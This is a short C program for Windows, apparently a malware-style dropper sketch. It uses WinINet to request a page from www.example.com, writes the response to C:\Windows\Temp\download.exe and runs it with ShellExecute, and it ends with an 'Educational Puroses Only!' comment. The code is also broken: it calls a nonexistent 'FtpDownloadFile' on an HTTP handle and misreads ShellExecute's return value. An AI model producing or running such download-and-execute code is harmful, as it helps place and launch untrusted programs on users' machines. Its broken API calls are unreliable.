#include <stdio.h>
#include <windows.h>
#include <wininet.h>

int main()
{
    HINTERNET hInternetSession = NULL;
    HINTERNET hHttpConnection = NULL;
    HINTERNET hHttpRequest = NULL;
    DWORD dwError = 0;
    BOOL bResults = FALSE;
    char szLocalFile[MAX_PATH] = { 0 };
    char szRemoteFile[MAX_PATH] = { 0 };

    // Create an internet session.
    hInternetSession = InternetOpen(NULL, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (NULL == hInternetSession)
    {
        printf("InternetOpen failed with error %lu.\n", GetLastError());
        goto cleanup;
    }

    // Create an HTTP connection.
    hHttpConnection = InternetConnect(hInternetSession, "www.example.com", INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
    if (NULL == hHttpConnection)
    {
        printf("InternetConnect failed with error %lu.\n", GetLastError());
        goto cleanup;
    }

    // Create an HTTP request handle.
    hHttpRequest = HttpOpenRequest(hHttpConnection, "GET", "index.html", NULL, NULL, NULL, INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, 0);
    if (NULL == hHttpRequest)
    {
        printf("HttpOpenRequest failed with error %lu.\n", GetLastError());
        goto cleanup;
    }

    // Send the request.
    bResults = HttpSendRequest(hHttpRequest, NULL, 0, NULL, 0);
    if (!bResults)
    {
        printf("HttpSendRequest failed with error %lu.\n", GetLastError());
        goto cleanup;
    }

    // Retrieve the HTTP status code.
    bResults = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwError, NULL, NULL);
    if (!bResults)
    {
        printf("HttpQueryInfo failed with error %lu.\n", GetLastError());
        goto cleanup;
    }

    // Verify that the status code is 200 (OK).
    if (200 != dwError)
    {
        printf("HTTP status code was %lu, expected 200.\n", dwError);
        goto cleanup;
    }

    // Create a local file to store the downloaded file.
    sprintf_s(szLocalFile, MAX_PATH, "C:\\Windows\\Temp\\download.exe");

    // Download the file.
    bResults = FtpDownloadFile(hHttpRequest, szLocalFile, NULL, 0, 0);
    if (!bResults)
    {
        printf("FtpDownloadFile failed with error %lu.\n", GetLastError());
        goto cleanup;
    }

    // Execute the file.
    bResults = ShellExecute(NULL, "open", szLocalFile, NULL, NULL, SW_SHOW);
    if (!bResults)
    {
        printf("ShellExecute failed with error %lu.\n", GetLastError());
        goto cleanup;
    }

cleanup:
    if (hHttpRequest)
    {
        InternetCloseHandle(hHttpRequest);
    }
    if (hHttpConnection)
    {
        InternetCloseHandle(hHttpConnection);
    }
    if (hInternetSession)
    {
        InternetCloseHandle(hInternetSession);
    }

    return 0;
}

// Educational Puroses Only!